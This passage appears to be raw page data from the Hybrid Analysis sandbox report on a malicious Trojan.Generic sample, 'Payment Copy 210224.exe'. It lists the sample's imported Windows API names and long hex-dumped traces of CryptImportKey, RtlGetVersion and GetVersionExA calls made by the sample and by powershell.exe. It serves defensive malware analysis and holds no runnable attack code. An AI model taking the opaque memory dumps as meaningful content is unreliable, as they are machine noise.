24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 57:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T491,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 27d75cacb0ec… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 27d75cacb0ec…. Malware family: Trojan.Generic. Threat score 100/100. 11/23 AV engines flagged this file. 4 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2"],"about":{"@type":"SoftwareApplication","name":"Payment Copy 210224.exe","applicationCategory":["compressed","7zip"],"identifier":"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":11,"total":23},"behavioralIndicators":{"malicious":4,"suspicious":27},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T2c7d,Found reference to API (Indicator: "DeleteFileA"; Source: "sample.bin"), Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "MulDiv"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "SetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "SendMessageTimeoutA"; Source: "sample.bin"), Found reference to API (Indicator: "GetClassInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindowEnabled"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetPathFromIDListA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWindowExA"; Source: "sample.bin"), Found reference to API (Indicator: "DefWindowProcA"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteKeyA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileSize"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcatA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateThread"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "sample.bin"), Found reference to API (Indicator: "ShellExecuteExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleA"; Source: "sample.bin"), Found reference to API (Indicator: "SystemParametersInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "CharNextA"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetFolderPathA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SetClipboardData"; Source: "sample.bin"), Found reference to API (Indicator: "SendMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "VerQueryValueA"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumValueA"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindowVisible"; Source: "sample.bin"), Found reference to API (Indicator: "SetClassLongA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "wsprintfA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "EnableMenuItem"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "CompareFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadCursorA"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "SetDefaultDllDirectories"; Source: "sample.bin"), Found reference to API (Indicator: "CloseClipboard"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindow"; Source: "sample.bin"), Found reference to API (Indicator: "RegisterClassA"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenA"; Source: "sample.bin"), Found reference to API (Indicator: "AppendMenuA"; Source: "sample.bin"), Found reference to API (Indicator: "SHFileOperationA"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "CoTaskMemFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetDiskFreeSpaceExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetSysColor"; Source: "sample.bin"), Found reference to API (Indicator: "GetShortPathNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMenu"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "SelectObject"; Source: "sample.bin"), Found reference to API (Indicator: "InvalidateRect"; Source: "sample.bin"), Found reference to API (Indicator: "SHBrowseForFolderA"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpA"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "OleInitialize"; Source: "sample.bin"), Found reference to API (Indicator: "DrawTextA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadImageA"; Source: "sample.bin"), Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetClientRect"; Source: "sample.bin"), Found reference to API (Indicator: "SetEnvironmentVariableA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "CopyFileA"; Source: "sample.bin"), Found reference to API (Indicator: "PostQuitMessage"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteValueA"; Source: "sample.bin"), Found reference to API (Indicator: "BeginPaint"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "CharPrevA"; Source: "sample.bin"), Found reference to API (Indicator: "SetCursor"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpiA"; Source: "sample.bin"), Found reference to API (Indicator: "FillRect"; Source: "sample.bin"), Found reference to API (Indicator: "GetDeviceCaps"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "GetFullPathNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcpynA"; Source: "sample.bin"), Found reference to API (Indicator: "CoCreateInstance"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowTextA"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "sample.bin"), Found reference to API (Indicator: "OleUninitialize"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetFileInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "EmptyClipboard"; Source: "sample.bin"), Found reference to API (Indicator: "SetErrorMode"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineA"; Source: "sample.bin"), Found reference to API (Indicator: "SearchPathA"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileExA"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetSpecialFolderLocation"; Source: "sample.bin"), Found reference to API (Indicator: "FindWindowExA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessA"; Source: "sample.bin"), Found reference to API (Indicator: "SetTimer"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "TrackPopupMenu"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "CallWindowProcA"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "ExitWindowsEx"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumKeyA"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcpyA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileA"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileSecurityA"; Source: "sample.bin"), Found reference to API (Indicator: "ScreenToClient"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFontIndirectA"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin"), Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "CreatePopupMenu"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "LoadBitmapA"; Source: "sample.bin"), Found reference to API (Indicator: "OpenClipboard"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin")26:T6f2,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "34f740" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d88b3200"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "34f740" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "588f3200"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "34f740" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "58913200"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "34f740" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d8903200"}27:T3c16,"PaymentCopy210224.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000007b0070f4120095e1e37608170700feffffffff2be7769a2ae7764411ee6b00000000000000007cf212002c324c7618f31200c83a33758cf31200d58c2b75c8f312005cf3120042a42975a80233759cf31200d2f42975080000006ef5297544f52975138c867602000000341aeb6b000013005b51eb6b02000000000000004411ee6b006b2f004411ee6b00000000006b2f00e0f31200086de7761881ef7601000000000000000000eb6b341aeb6b000013005b51eb6bb4277b00b0277b00b0f31200f0f3120070f4120091e1ed6b90d0601df4f31200c89fe7764411ee6b00000000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036003ba686767cd812006d82f9767c54300004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000003200320034002e0065007800650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2be77630c8f276d8eb2976ac012c0000002c0000000000000000001100a7009f000000000000000000000000000000000000001200a2009f0000000000000000000000686d2c0000000000200000000000000000000000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000038f012003080d4690000000000000200fcef1200fcef1200fcef12000200000002000000010042000500000000000000000000000000000060f112005477e7763cf012000000000014000000bf77e7760000ce690000000000008000bcf01200f000ce6900000000000000000000000000000000000000000000000000000000000000001200140014f21200e4f112000100000000000000ff2be776e8fbf2760000000094012c0000002c00000000000000000021003c00190000000000000000000000000000000000200022000400190000003cf1120020000000686d2c00 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000c902000000008aedc9020500000081d03e7540edc90244edc9020000000080bf30009c50e676e26bfd74b4010000b401000010edc902b0ea1776b401000030edc902ecf1c9025ecb3c75b401000000000000005d3a7548f4c9020e5d3a75e0efc902dcaa3e75010000000000000072000000ffffffffffffffff68edc90278020000000000002500000068edc9027b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600c7935d74c0edc9026d82f976a42d320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002c0001000000ffffffff02000000080000009838320098383200933832000000000002000000c0f02f000000000001000008ff07000000002c00000000007f070000c4002c00a8ecc9023f08187602000000c0f02f00000000000100001888fb177698ecc902c81c3e756eeec90295fb1776ccedc902c0f02f0000000000000000000000000054edc90200002c007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d00410036004200420032003100360093925d7414edc9026d82f976a42d320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000f9760100000000800000000000000000000074e5c9022333f976a8e5c9020080000000800000a8e5c9023733f97600000000aee5c902139b5d7490e5c9026732f97688eac902c59b5d74b4e7c902135f3a75a8e5c9029aeac90200000000f0eec902182f3200bcecc902205f3a7543003a005c0055007300650072007300000048004100500055004200570053007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036006b985d742ce6c9026d82f976a43b320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000c902000000008aedc9020500000081d03e7540edc90244edc9020000000000c030009c50e676e26bfd74bc010000bc01000010edc902b0ea1776bc01000030edc902ecf1c9025ecb3c75bc01000000000000005d3a7548f4c9020e5d3a75e0efc902dcaa3e75010000000000000072000000ffffffffffffffff68edc90278020000000000002500000068edc9027b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600c7935d74c0edc9026d82f9760c2b320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000320001000000ffffffff0200000008000000282d3200282d3200232d32000000000002000000c0f02f00000000000100000800000000c4ffc90295e1e37630190700feffffffa8ecc9023f08187602000000c0f02f00000000000100001888fb177698ecc902c81c3e756eeec90295fb1776ccedc902c0f02f0000000000000000000000000054edc90200002c007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d00410036004200420032003100360093925d7414edc9026d82f9760c2b320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000f9760100000000800000000000000000000074e5c9022333f976a8e5c9020080000000800000a8e5c9023733f97600000000aee5c902139b5d7490e5c9026732f97688eac902c59b5d74b4e7c902135f3a75a8e5c9029aeac90200000000f0eec902a02c3200bcecc902205f3a7543003a005c0055007300650072007300000048004100500055004200570053007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036006b985d742ce6c9026d82f9765439320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001a02000000005ee31a020d00000081d03e7514e31a0218e31a0200000000801c32009c50e676e26bfd74bc010000bc010000e4e21a02b0ea1776bc01000004e31a02c0e71a025ecb3c75bc01000000000000005d3a751cea1a020e5d3a75b4e51a02dcaa3e75010000000000000082000000ffffffffffffffff3ce31a027802000000000000250000003ce31a027b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600139d8e7494e31a026d82f976a438320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000320001000000ffffffff02000000080000007816320078163200731632000000000002000000c0f02f00000000000100000800000000c4ff1a0295e1e37630190700feffffff7ce21a023f08187602000000c0f02f00000000000100001888fb17766ce21a02c81c3e7542e41a0295fb1776a0e31a02c0f02f0000000000000000000000000028e31a0200002c007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600af9c8e74e8e21a026d82f9763447320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001a020000000062d91a020d00000081d03e7518d91a021cd91a020000000090a032009c50e676e26bfd74e8010000e8010000e8d81a02b0ea1776e801000008d91a02c4dd1a025ecb3c75e801000000000000005d3a7520e01a020e5d3a75b8db1a02dcaa3e75010000000000000082000000ffffffffffffffff40d91a0278020000000000002500000040d91a027b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036001fa78e7498d91a026d82f9769cc9320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000ffff2800440009000000620b3c7500000000686d2c000000000050000000ec15320002000000c0f02f0000000000010000086067320090712c00380b3c75ccd71a0202000000a00f000000002c0088c93200f83b0000ff07000000002c00000000007f070000c4002c00382d2c00cb200000acd81a0267e5e47600002c0088c932000000000000002c00000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600aba68e74ecd81a026d82f976ccca320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001a020000000062d91a020d00000081d03e7518d91a021cd91a0200000000c0a032009c50e676e26bfd74ec010000ec010000e8d81a02b0ea1776ec01000008d91a02c4dd1a025ecb3c75ec01000000000000005d3a7520e01a020e5d3a75b8db1a02dcaa3e75010000000000000082000000ffffffffffffffff40d91a0278020000000000002500000040d91a027b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036001fa78e7498d91a026d82f9765cca320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000ffff280044000a000000620b3c7500000000686d2c000000000050000000ec15320002000000c0f02f0000000000010000086067320090712c00380b3c75ccd71a0202000000a00f000000002c0048ca3200f83b0000ff07000000002c00000000007f070000c4002c00382d2c00b3200000acd81a0267e5e47600002c0048ca32000000000000002c00000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600aba68e74ecd81a026d82f9768ccb320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000c902000000008aedc9020500000081d03e7540edc90244edc90200000000704432009c50e676e26bfd74e8010000e801000010edc902b0ea1776e801000030edc902ecf1c9025ecb3c75e801000000000000005d3a7548f4c9020e5d3a75e0efc902dcaa3e75010000000000000072000000ffffffffffffffff68edc90278020000000000002500000068edc9027b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600c7935d74c0edc9026d82f9769c4d320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000ffff250065000e000000620b3c7500000000686d2c000000000050000000cc37320002000000c0f02f0000000000010000086868320090712c00380b3c75f4ebc90202000000a8ecc9023f08187602000000c0f02f00000000000100001888fb177698ecc902c81c3e756eeec90295fb1776ccedc902c0f02f0000000000000000000000000054edc90200002c007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d00410036004200420032003100360093925d7414edc9026d82f976a457320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000f9760100000000800000000000000000000074e5c9022333f976a8e5c9020080000000800000a8e5c9023733f97600000000aee5c902139b5d7490e5c9026732f97688eac902c59b5d74b4e7c902135f3a75a8e5c9029aeac90200000000f0eec90280df2e00bcecc902205f3a7543003a005c0055007300650072007300000048004100500055004200570053007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036006b985d742ce6c9026d82f9769c4d320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000c90200000000f6e2c9020900000081d03e7590e2c90294e2c90200000000141732009c50e676e26bfd74e8010000e801000060e2c902b0ea1776e801000080e2c9023ce7c9025ecb3c75e801000000000000005d3a7598e9c9020e5d3a7530e5c902dcaa3e7501000000000000007a000000ffffffffffffffffb8e2c902780200000000000025000000b8e2c9027b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600979c5d7410e3c9026d82f976b4ee320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000ffff250065000f000000620b3c7500000000686d2c00480e4c00500000008452320002000000c0f02f0000000000010000086868320090712c00380b3c7544e1c90202000000f8e1c9023f08187602000000c0f02f00000000000100001888fb1776e8e1c902c81c3e75bee3c90295fb17761ce3c902c0f02f00000000000000000000000000a4e2c90200002c007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600239c5d7464e2c9026d82f976b4ee320004010000 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000c902000000008aedc9020500000081d03e7540edc90244edc90200000000b04432009c50e676e26bfd74f0010000f001000010edc902b0ea1776f001000030edc902ecf1c9025ecb3c75f001000000000000005d3a7548f4c9020e5d3a75e0efc902dcaa3e75010000000000000072000000ffffffffffffffff68edc90278020000000000002500000068edc9027b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600c7935d74c0edc9026d82f976d448320004010000 (UID: 00000000-00005244)28:T8e8,"PaymentCopy210224.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb2976802b30000060fd7f9a5ce87600f0fd7fe8c312004460fd7f00000000400000003f0000001e0000000060fd7fdcc31200c15ce8766082ef761e0000000060fd7f9a5ce87600f0fd7f00c412005789e7768083ef761317fe74d8eb2976 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000054f2120002000000000000001000000094f11200b0f11200c976fd7400002c0000001400da76fd74dd4d0777000000000000ce6901000000935ce87600000000000000000000000078f112000100000048f41200bd06ff748dcae80300000000bd14ce69b0e62f00 (UID: 00000000-00005244) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb297680b231000050fd7f9a5ce87600f0fd7f68b81f004450fd7f00000000400000003f0000001e0000000050fd7f5cb81f00c15ce8766082ef761e0000000050fd7f9a5ce87600f0fd7f80b81f005789e7768083ef761317fe74d8eb2976 (UID: 00000000-00005476) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e00690066006500730074000000 (UID: 00000000-00005476) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000636d416a00001502000000006c6d416a656fdf4ed8d7eb640ce81f0008e81f0000000000000000000000000000000000d8d7eb6460e71f0000000000d0e71f000ce81f00a0e71f00ff23416ac83b4a6ae0e71f003117416a080000001c5ce67614a1e776ffffffff24000000c8e71f00 (UID: 00000000-00005476) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 